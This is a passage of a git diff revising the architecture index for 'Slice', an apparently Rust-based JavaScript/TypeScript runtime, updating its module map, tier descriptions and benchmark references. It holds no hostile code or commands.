Core: Tier-1 Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS ([`vm/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)) + Pre-Warmed `boa_engine` Pool + Native Rust Host Intrinsics, Tier-0 `SLICESNP` Snapshot VM, & Tier-2 Unboxed 64-Bit Numeric Register VM ([`vm/numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs)). + +For user-facing documentation and guides, see **[`docs/README.md`](../README.md)** and **[`docs/general/09_benchmarks_testing_and_docker_suite.md`](../general/09_benchmarks_testing_and_docker_suite.md)**. For empirical cross-runtime benchmark numbers, see **[`tests/reports/latest.md`](../../tests/reports/latest.md)**. --- @@ -13,17 +15,16 @@ Welcome to the **Slice (Nexus-JS)** System Architecture and Internal Specificati | Document | Subsystem / Scope | Key Source Modules Covered | | :--- | :--- | :--- | -| **[`00_index.md`](./00_index.md)** | Executive Overview, 4-Crate Topology, Crate & Module Map, Legacy Runtime Bottlenecks, & Master Summary of Architectural Gains | Workspace Overview | -| **[`01_cas_bundler_and_oxc_compiler.md`](./01_cas_bundler_and_oxc_compiler.md)** | Zero-Stat `SLICE_CAS` v1 Binary Format, Oxc `v0.152.0` TS/TSX Compiler, Semantic Lowering, Oxc AST Array Pipeline Fusion, ESM-First `"exports"`, Cold-Method `require` Inliner, Reverse-Topological Oxc Semantic/AST Tree-Shaker, & Single-Copy `SLICEBOA` CAS Deduplication | `crates/slice-cas/src/{lib,oxc_compiler,esm_cjs_linker,resolver,static_assets}.rs` | -| **[`02_tiered_execution_and_boa_vm.md`](./02_tiered_execution_and_boa_vm.md)** | Hybrid Three-Tier Execution Pipeline (`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS Default, `SLICESNP`, Legacy `SLICEBOA`, `WarmBoaRealm` Pool, Persistent Realm Cache `__slice_rc`, Compile-Time Minified Sharded Preludes `00..17`, Hardware `SHA-NI` & Native Intrinsics, & Tier-2 Unboxed 64-Bit Numeric Register VM) | `crates/slice-engine/src/{boacas,isolate,boa_realm,js_preludes,parser_and_compiler,numeric_vm,intrinsics}.rs`, `vendor/boa_engine/SLICE_PATCH.md` | -| **[`03_security_sandbox_ocap_and_mpk.md`](./03_security_sandbox_ocap_and_mpk.md)** | 5-Ring Zero-Trust Security Architecture: OCap `CapabilityToken` (`FsCap`/`NetCap`/`EnvCap`), Dynamic SES Prototype Integrity (`__slice_check_ses`), CPU Fuel & Memory Cage, Linux `WRPKRU` Hardware MPK, Pre-Connect DNS SSRF Firewall, & Outbound Egress Secret DLP | `crates/slice-sandbox/src/lib.rs`, `crates/slice-engine/src/{isolate,outbound_http,state_and_kv}.rs` | -| **[`04_networking_wintertc_and_event_loop.md`](./04_networking_wintertc_and_event_loop.md)** | Multi-Worker `slice serve`, 3-Level Async Concurrency Architecture, Outbound HTTP/1.1 & TLS 1.3 (`rustls` + `OUTBOUND_CONN_POOL`), Deterministic Time-Travel Event Loop, RFC 6455 WebSocket Engine, Raw TCP/TLS/UDP Sockets, & `Uint8Array` `Buffer` + Node Core Tier-1 | `crates/slice-cli/src/http_server.rs`, `crates/slice-engine/src/{event_loop,outbound_http,websocket,sockets,node_builtins}.rs` | -| **[`05_wasm_workers_and_kernel_io.md`](./05_wasm_workers_and_kernel_io.md)** | Pure-Rust WebAssembly (`wasmi` `v2.0.0`, `GLOBAL_WASM_MODULE_CACHE`, 5-Ring WASM Cage), Capability-Attenuated MicroVM Web Workers & `node:worker_threads` (`IDLE_WORKER_POOL`), Direct Kernel Completion Rings (`io_uring` & `IOCP`), & OS-Native `notify` File Watcher | `crates/slice-engine/src/{wasm,workers}.rs`, `crates/slice-io/src/lib.rs`, `crates/slice-cli/src/config_and_watch.rs` | -| **[`06_edge_kv_ai_sandbox_and_mcp.md`](./06_edge_kv_ai_sandbox_and_mcp.md)** | 16-Way Sharded `Slice.kv` (`EDGE_KV_SLAB`), Multi-Tenant `--tenant-dir` Atomic Hot-Swap, SplitMix64 `--deterministic` Replay, AI Agent "Code Mode" (`Slice.evalSandbox`, `< 5 us` `Slice.checkpoint`/`restore`), Time-Travel `slice test`, & Built-In MCP Server (`slice mcp`) | `crates/slice-engine/src/state_and_kv.rs`, `crates/slice-cli/src/{test_runner,mcp_and_repl}.rs` | -| **[`07_production_tooling_guide.md`](./07_production_tooling_guide.md)** | Production CLI Reference, Unified 4-Layer Configuration System (`slice.toml`, Inline `// @slice-...`, `SLICE_*` Env Vars, CLI Flags), Docker & Kubernetes Deployment Patterns, and Multi-Tenant Operations | `crates/slice-cli/src/{main,config_and_watch}.rs`, `crates/slice-sandbox/src/lib.rs` | -| **[`08_benchmarks_and_comparisons.md`](./08_benchmarks_and_comparisons.md)** | Complete 4-Runtime Empirical Benchmark Suite (Slice `v0.10.12` vs Node.js `v25.8.1`, Deno `v2.7.5`, and Bun `v1.3.10`) Across All 31 Applications, Framework Suites & Case Studies | `benches/`, `tests/apps/`, `tests/frameworks/`, `tests/case_studies/` | -| **[`09_research_deep_dive.md`](./09_research_deep_dive.md)** | Foundational Systems Research Paper: Breaking the JS/TS Cold-Start, Memory Density, and Multi-Tenant Security Wall | Architectural Research Blueprint | -| **[`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)** | `SLICEBC1` Precompiled `CodeBlock` Binary Serializer/Deserializer & Deferred Function Span Architecture | `vendor/boa_engine/src/{slice_precompile.rs,lib.rs,vm/opcode/call/mod.rs}` | +| **[`00_index.md`](./00_index.md)** | Executive Overview, 4-Crate Topology, Crate & Module Map, & Legacy Runtime Bottlenecks | Workspace Overview | +| **[`01_cas_bundler_and_oxc_compiler.md`](./01_cas_bundler_and_oxc_compiler.md)** | Zero-Stat `SLICE_CAS` v1 Binary Format, Oxc `v0.152.0` TS/TSX Compiler, Semantic Lowering, Oxc AST Array Pipeline Fusion, ESM-First `"exports"`, Cold-Method `require` Inliner, Reverse-Topological Oxc Semantic/AST Tree-Shaker, & Single-Copy `SLICEBC\x01`/`SLICEBOA` CAS Deduplication | `crates/slice-cas/src/{lib.rs,archive/,bundler/,compiler/,linker/}` | +| **[`02_tiered_execution_and_boa_vm.md`](./02_tiered_execution_and_boa_vm.md)** | Hybrid Three-Tier Execution Pipeline (`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS Default, `SLICESNP`, Legacy `SLICEBOA`, `WarmBoaRealm` Pool, Persistent Realm Cache `__slice_rc`, 32-Bit `shards_mask` Preludes `00..19` + Pre-Fused `node:*` Bits `19..28`, Hardware `SHA-NI` & Native Intrinsics, & Tier-2 Unboxed 64-Bit Numeric Register VM) | `crates/slice-engine/src/{vm/,isolate/,runtime/,preludes/,intrinsics/,bindings/}`, `vendor/boa_engine/SLICE_PATCH.md` | +| **[`03_security_sandbox_ocap_and_mpk.md`](./03_security_sandbox_ocap_and_mpk.md)** | 5-Ring Zero-Trust Security Architecture: OCap `CapabilityToken` (`FsCap`/`NetCap`/`EnvCap`/`ExecCap`), Dynamic SES Prototype Integrity (`__slice_check_ses`), CPU Fuel & Memory Cage, Linux `WRPKRU` Hardware MPK, Pre-Connect DNS SSRF Firewall, & Outbound Egress Secret DLP | `crates/slice-sandbox/src/{lib.rs,compartment/,manifest/,net/,vfs/}`, `crates/slice-engine/src/{isolate/,net/outbound_http.rs}` | +| **[`04_networking_wintertc_and_event_loop.md`](./04_networking_wintertc_and_event_loop.md)** | Multi-Worker `slice serve`, 3-Level Async Concurrency Architecture, Outbound HTTP/1.1 & TLS 1.3 (`rustls` + `OUTBOUND_CONN_POOL`), Deterministic Time-Travel Event Loop, RFC 6455 WebSocket Engine, Raw TCP/TLS/UDP Sockets, & `Uint8Array` `Buffer` + Node Core Tier-1 | `crates/slice-cli/src/server/`, `crates/slice-engine/src/{runtime/event_loop.rs,net/,preludes/node_builtins.rs}` | +| **[`05_wasm_workers_and_kernel_io.md`](./05_wasm_workers_and_kernel_io.md)** | Pure-Rust WebAssembly (`wasmi` `v2.0.0`, `GLOBAL_WASM_MODULE_CACHE`, 5-Ring WASM Cage), Capability-Attenuated MicroVM Web Workers & `node:worker_threads` (`IDLE_WORKER_POOL`), Direct Kernel Completion Rings (`io_uring` & `IOCP`), & OS-Native `notify` File Watcher | `crates/slice-engine/src/runtime/{wasm,workers}.rs`, `crates/slice-io/src/lib.rs`, `crates/slice-cli/src/config/` | +| **[`06_edge_kv_ai_sandbox_and_mcp.md`](./06_edge_kv_ai_sandbox_and_mcp.md)** | 16-Way Sharded `Slice.kv` (`EDGE_KV_SLAB`), Multi-Tenant `--tenant-dir` Atomic Hot-Swap, SplitMix64 `--deterministic` Replay, AI Agent "Code Mode" (`Slice.evalSandbox`, `< 5 us` `Slice.checkpoint`/`restore`), Time-Travel `slice test`, & Built-In MCP Server (`slice mcp`) | `crates/slice-engine/src/isolate/state_and_kv.rs`, `crates/slice-cli/src/{server/mod.rs,commands/test_runner.rs,diagnostics/}` | +| **[`docs/README.md`](../README.md)** | Complete Documentation Hub (`docs/general/`, `docs/guides/`, & `docs/system/`) | User Guides, CLI Reference, & Compatibility Matrix | +| **[`tests/reports/latest.md`](../../tests/reports/latest.md)** | Verified Cross-Runtime Linux `x86_64` Docker Benchmark Report (Slice vs Bun, Deno, and Node.js across all 33 workloads) & **[`09_benchmarks_testing_and_docker_suite.md`](../general/09_benchmarks_testing_and_docker_suite.md)** | `benches/`, `tests/apps/`, `tests/frameworks/`, `tests/case_studies/` | +| **[`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)** | `SLCB\x01` Precompiled `CodeBlock` Binary Serializer/Deserializer, Monomorphic Inline Cache, & Direct ECMA-404 JSON Fast Paths | `vendor/boa_engine/src/{script.rs,builtins/json/mod.rs,vm/inline_cache/mod.rs,vm/runtime_limits.rs}` | --- @@ -46,10 +47,10 @@ Welcome to the **Slice (Nexus-JS)** System Architecture and Internal Specificati | +---------------------------------------------------------------------------------------------+ | | | slice-engine: Hybrid Three-Tier Execution Pipeline | | | | +--------------------------+ +-------------------------------+ +----------------------+ | | -| | | Tier 0: SLICESNP VM | | Tier 1: Zero-Copy SLICEBOA | | Tier 2: Peak Native | | | -| | | - 1.92 us Cold Start | | - 0.02 us mmap String Slice | | - 32-Reg Numeric VM | | | +| | | Tier 0: SLICESNP VM | | Tier 1: Zero-Copy SLICEBC\x01 | | Tier 2: Peak Native | | | +| | | - Sub-Microsecond Boot | | - Precompiled Boa CodeBlock | | - 32-Reg Numeric VM | | | | | | - Pre-Parsed Opcode Ops | | - Pre-Warmed Boa Realm Pool | | - Recurrence Lowering| | | -| | | - WinterTC Edge Routing | | - Native Rust Host Intrinsics | | - 10.02 us Execution | | | +| | | - WinterTC Edge Routing | | - Native Rust Host Intrinsics | | - Zero Heap Allocs | | | | | +--------------------------+ +-------------------------------+ +----------------------+ | | | +---------------------------------------------------------------------------------------------+ | | | @@ -70,36 +71,31 @@ Welcome to the **Slice (Nexus-JS)** System Architecture and Internal Specificati ## 3. Complete Workspace Crate & Module Map - **`crates/slice-cas/src/`**: - - [`lib.rs`](../../crates/slice-cas/src/lib.rs): 64-byte cache-line aligned `SLICE_CAS` v1 binary format, `CasBuilder` (with single-copy `SLICEBOA` source deduplication), `MappedCasArchive`, and `SLICEEXE` standalone executable trailer embedding. - - [`oxc_compiler.rs`](../../crates/slice-cas/src/oxc_compiler.rs): Native Oxc (`v0.152.0`) TypeScript and `.tsx`/`.jsx` transformation (`SourceType::tsx()`, `transform_options.jsx.jsx_plugin = true`), semantic interface analysis (`analyze_typescript_semantics`), and Oxc AST array pipeline loop fusion (`fuse_array_pipelines_ast`). - - [`esm_cjs_linker.rs`](../../crates/slice-cas/src/esm_cjs_linker.rs): Oxc AST-driven ESM-to-CJS module linker (`try_transform_esm_to_cjs_ast`), Cold-Method `require` Inliner (`inline_cold_method_requires_ast`), Reverse-Topological Oxc Semantic/AST Dead-Export Tree-Shaker (`analyze_module_used_exports` + `prune_and_minify_cjs_module_ast`), Eager-Edge BFS Lazy Module Stringifier (`collect_eager_module_indices`), and source-line error mapping. - - [`resolver.rs`](../../crates/slice-cas/src/resolver.rs): Project entrypoint discovery (`.ts`, `.tsx`, `.js`, `.jsx`), ESM-first `package.json` conditional `"exports"` resolution (`"workerd"`, `"worker"`, `"edge-light"`, `"import"`, `"module"`, `"browser"`, `"require"`, `"node"`, `"default"`), zero-stat `.wasm` binary bundling (`__slice_b64ToU8`), and built-in `"slice:jsx"` fallback. - - [`static_assets.rs`](../../crates/slice-cas/src/static_assets.rs): Zero-stat `StaticAssetTable` with pre-computed `BLAKE3` `ETag` headers and MIME classification. + - [`lib.rs`](../../crates/slice-cas/src/lib.rs) & [`archive/`](../../crates/slice-cas/src/archive/mod.rs) ([`builder.rs`](../../crates/slice-cas/src/archive/builder.rs), [`reader.rs`](../../crates/slice-cas/src/archive/reader.rs), [`static_assets.rs`](../../crates/slice-cas/src/archive/static_assets.rs)): 64-byte cache-line aligned `SLICE_CAS` v1 binary format, `CasBuilder` (with single-copy `SLICEBC\x01`/`SLICEBOA` source deduplication), `MappedCasArchive`, `SLICEEXE` standalone executable trailer embedding, and zero-stat `StaticAssetTable` with pre-computed `BLAKE3` `ETag` headers. + - [`compiler/`](../../crates/slice-cas/src/compiler/mod.rs) ([`transpiler.rs`](../../crates/slice-cas/src/compiler/transpiler.rs), [`semantics.rs`](../../crates/slice-cas/src/compiler/semantics.rs), [`pipeline_fusion.rs`](../../crates/slice-cas/src/compiler/pipeline_fusion.rs)): Native Oxc (`v0.152.0`) TypeScript and `.tsx`/`.jsx` transformation (`SourceType::tsx()`, `transform_options.jsx.jsx_plugin = true`), semantic interface analysis (`analyze_typescript_semantics`), and Oxc AST array pipeline loop fusion (`fuse_array_pipelines_ast`). + - [`linker/`](../../crates/slice-cas/src/linker/mod.rs) ([`esm_transform.rs`](../../crates/slice-cas/src/linker/esm_transform.rs), [`cjs_rewrites.rs`](../../crates/slice-cas/src/linker/cjs_rewrites.rs), [`lazy_and_inline.rs`](../../crates/slice-cas/src/linker/lazy_and_inline.rs), [`tree_shaker.rs`](../../crates/slice-cas/src/linker/tree_shaker.rs), [`ast_walker.rs`](../../crates/slice-cas/src/linker/ast_walker.rs), [`builtins_and_ids.rs`](../../crates/slice-cas/src/linker/builtins_and_ids.rs)): Oxc AST-driven ESM-to-CJS module linker (`try_transform_esm_to_cjs_ast`), Cold-Method `require` Inliner (`inline_cold_method_requires_ast`), Reverse-Topological Oxc Semantic/AST Dead-Export Tree-Shaker (`analyze_module_used_exports` + `prune_and_minify_cjs_module_ast`), and Eager-Edge BFS Lazy Module Stringifier (`collect_eager_module_indices`). + - [`bundler/`](../../crates/slice-cas/src/bundler/mod.rs) ([`graph_bundler.rs`](../../crates/slice-cas/src/bundler/graph_bundler.rs), [`resolver.rs`](../../crates/slice-cas/src/bundler/resolver.rs), [`source_map.rs`](../../crates/slice-cas/src/bundler/source_map.rs)): Multi-pass dependency graph bundler (`bundle_entrypoint_with_deps`), project entrypoint discovery (`.ts`, `.tsx`, `.js`, `.jsx`), ESM-first `package.json` conditional `"exports"` / `"imports"` and `tsconfig.json` `"paths"` resolution, zero-stat `.wasm` binary bundling (`__slice_b64ToU8`), built-in `"slice:jsx"` fallback, and source-line error mapping (`map_bundled_error_location`). +- **`crates/slice-io/src/`**: + - [`lib.rs`](../../crates/slice-io/src/lib.rs): Direct kernel completion ring engine (`CompletionRingEngine` over Linux `io_uring` `IORING_SETUP_SQPOLL` and Windows NT `IOCP`) and `RegisteredBufferPool` 64 KB page-aligned fixed slab buffers. +- **`crates/slice-sandbox/src/`**: + - [`lib.rs`](../../crates/slice-sandbox/src/lib.rs) & [`compartment/`](../../crates/slice-sandbox/src/compartment/mod.rs) ([`pkey.rs`](../../crates/slice-sandbox/src/compartment/pkey.rs)): `TenantCompartment`, `CapabilityToken`, `IntrinsicRegistry::lockdown`, deterministic CPU fuel & memory byte cage, and Linux `x86_64` `HardwareProtectionDomain` (`SYS_pkey_alloc` + `WRPKRU`). + - [`manifest/`](../../crates/slice-sandbox/src/manifest/mod.rs) ([`directives.rs`](../../crates/slice-sandbox/src/manifest/directives.rs), [`dotenv.rs`](../../crates/slice-sandbox/src/manifest/dotenv.rs)): `SliceManifest` (`slice.toml`), inline `// @slice-*` directive parser (`parse_inline_directives`), and `.env` loader with `is_sensitive_env_key` Auto-DLP secret classification. + - [`vfs/mod.rs`](../../crates/slice-sandbox/src/vfs/mod.rs) & [`net/mod.rs`](../../crates/slice-sandbox/src/net/mod.rs): Path-traversal-safe `FsCap` (`verify_fs_read`, `verify_fs_write`), `ExecCap` (`verify_exec_binary`), `NetCap` (`verify_net_connect`), and cloud metadata / private IP SSRF classifiers (`is_cloud_metadata_ip`, `is_private_or_loopback_ip`). - **`crates/slice-engine/src/`**: - - [`value_and_ast.rs`](../../crates/slice-engine/src/vm/value_and_ast.rs): 16-byte `JsValue`, `JsFunction`, AST nodes (`Stmt`, `Expr`), and `BytecodeOp` definitions. - - [`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs): Tier-2 Unboxed 64-Bit Numeric Register Compiler (`try_compile_numeric_func`), structural recurrence analyzer (`detect_linear_recurrence_ast`), and register VM (`NumericFunc::execute`). - - [`parser_and_compiler.rs`](../../crates/slice-engine/src/vm/parser_and_compiler.rs): Lexer, TypeScript-aware parser, `SLICESNP`/`SLICEBOA` compiler, build-time `SLICEBOA` payload compactor (`compact_js_for_boa_bytecode`), and disassembler. - - [`isolate.rs`](../../crates/slice-engine/src/isolate/mod.rs): `SliceIsolate` lifecycle, `execute_bytecode`, `execute_http_request`, `eval_sandbox`, and Tier-0/1/2 dispatch. - - [`boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs): `BOA_CONTEXT_POOL`, `WarmBoaRealm` lifecycle, and thread-local OCap VFS / compartment state. - - [`js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs): Compile-time minified `ULTRA_CORE_PRELUDE` (`00_ultra_core.js`) and 10 surgical lazy prelude shards (`01_web_fetch_url.js` through `10_annex_b_escape.js`) with `detect_needed_shards` bitmask analysis. - - [`node_builtins.rs`](../../crates/slice-engine/src/preludes/node_builtins.rs): Lazy IIFE-isolated `node:*` (`crypto`, `fs`, `fs/promises`, `path`, `events`, `timers`, `timers/promises`, `util`, `assert`, `os`, `url`, `buffer`, `net`, `tls`, `dgram`, `worker_threads`), `cloudflare:sockets`, `slice:test`, and `slice:jsx` built-in loader. - - [`host_bindings.rs`](../../crates/slice-engine/src/bindings/mod.rs): Native Rust host functions (`register_slice_native_host_functions`) bound to `boa_engine::Context`. - - [`intrinsics.rs`](../../crates/slice-engine/src/intrinsics/mod.rs): Hardware `SHA-NI` + software FIPS-180-4 SHA-256, SHA-1/384/512, RFC-2104 HMAC, Base64/Base64URL, and zero-regex SemVer/byte/duration scanners. - - [`event_loop.rs`](../../crates/slice-engine/src/runtime/event_loop.rs): Deterministic Time-Travel Event Loop, Slab Timer Wheel, `process.nextTick` / `queueMicrotask` priority scheduler, and concurrent `Promise.all` fetch multiplexer. - - [`outbound_http.rs`](../../crates/slice-engine/src/net/outbound_http.rs): Outbound HTTP/1.1 & HTTPS (TLS 1.3 via `rustls` + `webpki-roots`), `SHARED_OUTBOUND_CONN_POOL`, Pre-Connect DNS Resolved-IP SSRF firewall, Hop-by-Hop Redirect Guard, and deterministic HTTP cassettes. - - [`websocket.rs`](../../crates/slice-engine/src/net/websocket.rs): Zero-dependency RFC 6455 WebSocket engine (`ws://`, `wss://`, server upgrade, `Slice.mockWebSocket`, and per-frame Egress DLP). - - [`workers.rs`](../../crates/slice-engine/src/runtime/workers.rs): Capability-attenuated MicroVM Web Workers (`new Worker()`) and `node:worker_threads` (`IDLE_WORKER_POOL`, `WORKER_SCRIPT_CACHE`). - - [`sockets.rs`](../../crates/slice-engine/src/net/sockets.rs): Zero-Trust OCap TCP/TLS/UDP socket engine (`Slice.connect`, `cloudflare:sockets`, `node:net`, `node:tls`, `node:dgram`). - - [`wasm.rs`](../../crates/slice-engine/src/runtime/wasm.rs): Pure-Rust `WebAssembly` (`wasmi` `v2.0.0`) engine with `GLOBAL_WASM_MODULE_CACHE` and 5-Ring CPU fuel & linear memory cages. - - [`state_and_kv.rs`](../../crates/slice-engine/src/isolate/state_and_kv.rs): 16-way sharded `EDGE_KV_SLAB`, SplitMix64 deterministic PRNG, and `< 5 us` VFS+KV checkpoint/restore. + - [`vm/`](../../crates/slice-engine/src/vm/mod.rs) ([`boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`value_and_ast.rs`](../../crates/slice-engine/src/vm/value_and_ast.rs), [`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs), [`parser_and_compiler.rs`](../../crates/slice-engine/src/vm/parser_and_compiler.rs)): Default `SLICEBC\x01` precompiled Boa `CodeBlock` CAS container (`BoaCasHeader`, `pack_boacas_container`, `eval_boacas_on_realm` backed by [`vendor/boa_engine/src/script.rs`](../../vendor/boa_engine/src/script.rs)), 16-byte `JsValue` & `BytecodeOp`, Tier-2 Unboxed 64-Bit Numeric Register Compiler & VM (`try_compile_numeric_func`, `detect_linear_recurrence_ast`, `NumericFunc::execute`), and `SLICESNP`/`SLICEBOA` compiler. + - [`isolate/`](../../crates/slice-engine/src/isolate/mod.rs) ([`exec_bytecode.rs`](../../crates/slice-engine/src/isolate/exec_bytecode.rs), [`exec_boa.rs`](../../crates/slice-engine/src/isolate/exec_boa.rs), [`exec_ast.rs`](../../crates/slice-engine/src/isolate/exec_ast.rs), [`http_and_ws.rs`](../../crates/slice-engine/src/isolate/http_and_ws.rs), [`kv_and_sandbox.rs`](../../crates/slice-engine/src/isolate/kv_and_sandbox.rs), [`state_and_kv.rs`](../../crates/slice-engine/src/isolate/state_and_kv.rs)): `SliceIsolate` lifecycle, Tier-0/1/2 dispatch, HTTP/WebSocket dispatch, nested `eval_sandbox`, 16-way sharded `EDGE_KV_SLAB`, SplitMix64 deterministic PRNG, Egress Secret DLP, and `< 5 us` VFS+KV checkpoint/restore. + - [`runtime/`](../../crates/slice-engine/src/runtime/mod.rs) ([`boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs), [`event_loop.rs`](../../crates/slice-engine/src/runtime/event_loop.rs), [`wasm.rs`](../../crates/slice-engine/src/runtime/wasm.rs), [`workers.rs`](../../crates/slice-engine/src/runtime/workers.rs)): `BOA_CONTEXT_POOL` & `WarmBoaRealm` lifecycle, Deterministic Time-Travel Event Loop & `FetchReactorPool`, pure-Rust `WebAssembly` (`wasmi` `v2.0.0`) engine with `GLOBAL_WASM_MODULE_CACHE`, and capability-attenuated MicroVM Web Workers (`IDLE_WORKER_POOL`). + - [`preludes/`](../../crates/slice-engine/src/preludes/mod.rs) ([`js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs), [`node_builtins.rs`](../../crates/slice-engine/src/preludes/node_builtins.rs), [`js_minifier.rs`](../../crates/slice-engine/src/preludes/js_minifier.rs)): 32-bit `shards_mask` architecture combining always-on `00_ultra_core.js` with demand-loaded compile-time minified JS shards `01..19` (including `18_intl.js` on bit `18` and `19_process_cli.js` on bit `29`) and pre-fused `node:*` built-in shards on bits `19..28`, scanned in a single `O(N)` Aho-Corasick pass (`detect_shards_and_boacas_flags`). + - [`bindings/`](../../crates/slice-engine/src/bindings/mod.rs) & [`intrinsics/`](../../crates/slice-engine/src/intrinsics/mod.rs) ([`hash_and_hmac.rs`](../../crates/slice-engine/src/intrinsics/hash_and_hmac.rs), [`symmetric_and_kdf.rs`](../../crates/slice-engine/src/intrinsics/symmetric_and_kdf.rs), [`asymmetric_and_keys.rs`](../../crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs), [`compression.rs`](../../crates/slice-engine/src/intrinsics/compression.rs), [`encoding.rs`](../../crates/slice-engine/src/intrinsics/encoding.rs), [`url_and_usp.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`fast_parsers.rs`](../../crates/slice-engine/src/intrinsics/fast_parsers.rs), [`prng_and_uuid.rs`](../../crates/slice-engine/src/intrinsics/prng_and_uuid.rs)): On-demand native Rust host bindings, hardware `SHA-NI` + software SHA-1/256/384/512 & HMAC, AES-GCM/CBC, PBKDF2/HKDF/scrypt, Ed25519/ECDSA/RSA/X25519 asymmetric crypto, RFC 1950/1951/1952 DEFLATE/Gzip, WHATWG URL/URLSearchParams, and SemVer/utility scanners. + - [`net/`](../../crates/slice-engine/src/net/mod.rs) ([`outbound_http.rs`](../../crates/slice-engine/src/net/outbound_http.rs), [`websocket.rs`](../../crates/slice-engine/src/net/websocket.rs), [`sockets.rs`](../../crates/slice-engine/src/net/sockets.rs)): Outbound HTTP/1.1 & TLS 1.3 (`rustls` + `SHARED_OUTBOUND_CONN_POOL` + Pre-Connect DNS SSRF firewall), RFC 6455 WebSocket engine, and 5-Ring OCap TCP/TLS/UDP sockets. - **`crates/slice-cli/src/`**: - - [`main.rs`](../../crates/slice-cli/src/main.rs), [`config_and_watch.rs`](../../crates/slice-cli/src/config_and_watch.rs), [`http_server.rs`](../../crates/slice-cli/src/http_server.rs), [`test_runner.rs`](../../crates/slice-cli/src/test_runner.rs), [`mcp_and_repl.rs`](../../crates/slice-cli/src/mcp_and_repl.rs), and modular unit/integration tests under `crates/*/tests/` + Criterion microbenchmarks under `crates/*/microbench/`. + - [`main.rs`](../../crates/slice-cli/src/main.rs), [`commands/`](../../crates/slice-cli/src/commands/mod.rs) ([`init.rs`](../../crates/slice-cli/src/commands/init.rs), [`pack_and_compile.rs`](../../crates/slice-cli/src/commands/pack_and_compile.rs), [`run.rs`](../../crates/slice-cli/src/commands/run.rs), [`test_runner.rs`](../../crates/slice-cli/src/commands/test_runner.rs)), [`config/`](../../crates/slice-cli/src/config/mod.rs) ([`cas_packager.rs`](../../crates/slice-cli/src/config/cas_packager.rs), [`watcher.rs`](../../crates/slice-cli/src/config/watcher.rs)), [`server/`](../../crates/slice-cli/src/server/mod.rs) ([`connection.rs`](../../crates/slice-cli/src/server/connection.rs), [`tls.rs`](../../crates/slice-cli/src/server/tls.rs)), and [`diagnostics/`](../../crates/slice-cli/src/diagnostics/mod.rs) ([`doctor_and_bench.rs`](../../crates/slice-cli/src/diagnostics/doctor_and_bench.rs), [`mcp.rs`](../../crates/slice-cli/src/diagnostics/mcp.rs), [`repl.rs`](../../crates/slice-cli/src/diagnostics/repl.rs)), plus modular integration tests under `crates/*/tests/` and Criterion microbenchmarks under `crates/*/microbench/`. --- ## 4. Why Legacy Runtimes Hit a Cold-Start and Density Wall -To understand why Slice achieves **`1.92 us - 3.08 us` in-process isolate startup**, **`2.00 ms` CLI cold start**, **`5.18 ms - 28.08 ms` real-stack multi-module TypeScript + `node_modules` execution**, and **`2.62 MB - 16.38 MB` Peak RSS** (up to `22x` smaller than Node.js `v26.12.0`), examine the four structural bottlenecks in Node.js, Deno, and Bun: +To understand why Slice achieves sub-microsecond in-process isolate startup, single-digit millisecond cold CLI execution, and multi-fold lower memory footprints across real-world TypeScript + `node_modules` workloads (see **[`tests/reports/latest.md`](../../tests/reports/latest.md)** for the latest verified benchmark telemetry across all 33 workloads), examine the four structural bottlenecks in Node.js, Deno, and Bun: 1. **The POSIX Filesystem Metadata Tax (`stat` / `lstat` / `readdir` Amplification):** - Resolving a 500-module graph or a `node_modules` tree in Node.js triggers over `1,500` synchronous/asynchronous `stat()` and `open()` system calls walking up directory hierarchies (`node_modules/pkg/package.json`, `index.js`, extensions). On containerized overlay filesystems (`OverlayFS`) or cloud block volumes (AWS EBS / GCP PD), this metadata chatter consumes 40% to 70% of startup time. @@ -109,31 +105,3 @@ To understand why Slice achieves **`1.92 us - 3.08 us` in-process isolate startu - Node.js and Deno offload filesystem operations to background thread pools. Under high multi-tenant concurrency, thread synchronization, mutex handoffs, and kernel context switches introduce tail-latency spikes. 4. **Ambient Authority vs. Heavyweight VM Isolation:** - Node.js and Bun execute with full ambient OS permissions; any compromised transitive npm dependency can read `~/.ssh`, harvest `process.env`, or exfiltrate data. Traditional microVMs (Firecracker) solve this by booting a separate guest Linux kernel per tenant, costing `125 ms` cold start and `30 MB - 128 MB` per tenant. - ---- - -## 5. Master Summary of Architectural Gains Across All 31 Production Workloads - -| Architectural Innovation | Bottleneck Eliminated | Measured Gain (Linux `x86_64` Docker) | -| :--- | :--- | :--- | -| **`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS + Oxc AST Deferred Module Spans + `node:*` Built-In Pre-Fusion (`boacas.rs` + `vendor/boa_engine/src/slice_precompile.rs`)** | Runtime JS lexing, AST parsing, scope analysis, bytecode compilation, 18 runtime substring scans, and repeated `ctx.eval` passes on cold start | **Default Execution Path (`boacas = true`)**: Beats **Bun (`v1.3.10`) on 30/31 workloads cold (`31/31` warm)**; `01-fintech-checkout` **`5.11 ms` cold / `0.21 ms` warm** (`4.93x` faster than Bun); `01-hono-edge-microservice` **`13.11 ms` cold / `0.56 ms` warm** (`2.54x` faster than Bun cold, `59x` warm); `02-itty-router-unjs-nitro-stack` **`15.52 ms` cold / `0.55 ms` warm** (`2.65x` faster than Bun cold, `75x` warm) | -| **`SLICE_CAS` v1 + `mmap` + `SLICEEXE` + Single-Copy CAS Deduplication** | `1,500+` `stat()` / `open()` syscalls, JSON AST parsing, & duplicate source+bytecode CAS storage | **`0` `stat()` syscalls**, `379 us` 500-module load (`21.4x` faster than Node.js), & **50% smaller `.cas` archives** | -| **Zero-Copy `SLICEBC\x01` / `SLICEBOA` Framing** | `serde_json` string unescaping of bundled JS payloads | Isolate instantiation dropped 